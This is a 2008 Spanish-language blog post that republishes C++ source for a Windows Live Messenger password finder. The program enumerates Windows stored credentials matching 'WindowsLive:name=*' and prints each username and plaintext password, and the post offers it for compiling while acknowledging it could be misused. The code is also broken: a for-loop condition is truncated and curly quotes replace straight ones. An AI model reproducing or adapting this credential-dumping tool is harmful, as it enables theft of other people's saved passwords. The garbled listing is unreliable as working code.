Obtener contraseña del MSN en el pc (source code). (Get MSN Passwords from your local pc)
Publicado por pabloacastillo en Marzo 22, 2008
Gregory R. Panakkal público hace bastante tiempo el código fuente de una aplicación que puedes compilar en Visual C++ >7 y obtiene la clave del MSN que queda almacenada en tu pc cuando tildas la opción “guardar contraseña” cuando vas a hacer login.
Tambien es posible hacer otras cosas, claro hay que ser bien malo y mal intencionado para hacerlo y además tener el tiempo…
posteo el código. SOURCE CODE
/**
** Windows Live Messenger v8.0 Password Finder for Windows XP & 2003
** (Compiled-VC++ 6.0 SP6, tested on WinXP SP2, Windows Live Messenger
8.0.0812.00)
** - Gregory R. Panakkal
** http://www.crapware.tk/
** http://www.infogreg.com/
**/
#define WIN32_LEAN_AND_MEAN
#include “stdafx.h”
#include “windows.h”
#include “stdio.h”
#include “tchar.h”
//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]
typedef struct _CREDENTIAL_ATTRIBUTEA {
LPSTR Keyword;
DWORD Flags;
DWORD ValueSize;
LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;
typedef struct _CREDENTIALA {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PCREDENTIAL_ATTRIBUTEA Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;
typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;
////////////////////////////////////////////////////////////////////
typedef BOOL (WINAPI *typeCredEnumerate)(LPCTSTR, DWORD, DWORD *,
PCREDENTIAL **);
typedef VOID (WINAPI *typeCredFree)(PVOID);
typeCredEnumerate pfCredEnumerate = NULL;
typeCredFree pfCredFree = NULL;
////////////////////////////////////////////////////////////////////
void showBanner()
{
_tprintf(_T(”Windows Live Messenger Password Finder for Windows XP & 2003\n”));
_tprintf(_T(” - Gregory R. Panakkal, http://www.infogreg.com\n\n”));
}
////////////////////////////////////////////////////////////////////
int main()
{
PCREDENTIAL *CredentialCollection = NULL;
HMODULE hAdvapi32DLL = NULL;
DWORD dwCount = 0;
DWORD dwTempIndex = 0;
BOOL bOK = FALSE;
showBanner();
do
{
hAdvapi32DLL = LoadLibrary(_T(”advapi32.dll”));
if(NULL == hAdvapi32DLL)
{
_tprintf(_T(”Error loading advapi32.dll\n”));
break;
}
#ifdef _UNICODE
pfCredEnumerate =
(typeCredEnumerate)GetProcAddress(hAdvapi32DLL,”CredEnumerateW”);
#else
pfCredEnumerate = (typeCredEnumerate)GetProcAddress(hAdvapi32DLL,”CredEnumerateA”);
#endif
pfCredFree = (typeCredFree)GetProcAddress(hAdvapi32DLL,”CredFree”);
if( pfCredEnumerate == NULL||
pfCredFree == NULL )
{
_tprintf(_T(”Error loading Cred APIs\n”));
break;
}
//Get an array of ‘credential’, satisfying the filter
bOK = pfCredEnumerate(_T(”WindowsLive:name=*”),0,&dwCount,&CredentialCollection);
if(FALSE == bOK)
{
_tprintf(_T(”Error enumerating credentials\n”));
break;
}
for(dwTempIndex=0; dwTempIndex
{
_tprintf(_T(”Username : %s\n”),CredentialCollection[dwTempIndex]->UserName);
_tprintf(_T(”Password : %s\n\n”),CredentialCollection[dwTempIndex]->CredentialBlob);
}
//Free credential collection
pfCredFree(CredentialCollection);
} while(false);
//Free lib
if(NULL != hAdvapi32DLL)
{
FreeLibrary(hAdvapi32DLL);
}
return TRUE;
}
Publicado en 1, ASP.NET, C#, News, Noticias, Personal, Reverse Engineering, Technology, Tecnología, dotnet, tutoriales | Sin Comentarios »























